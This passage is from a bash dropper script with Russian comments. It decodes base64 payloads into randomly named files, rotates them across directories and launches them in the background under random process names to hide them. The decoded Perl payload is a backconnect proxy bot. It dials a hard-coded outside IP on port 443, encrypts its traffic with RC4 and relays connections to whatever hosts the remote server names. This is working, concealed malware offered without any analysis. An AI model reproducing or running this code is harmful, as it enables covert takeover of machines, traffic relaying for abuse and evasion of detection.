IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #18 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #18 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 19 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n 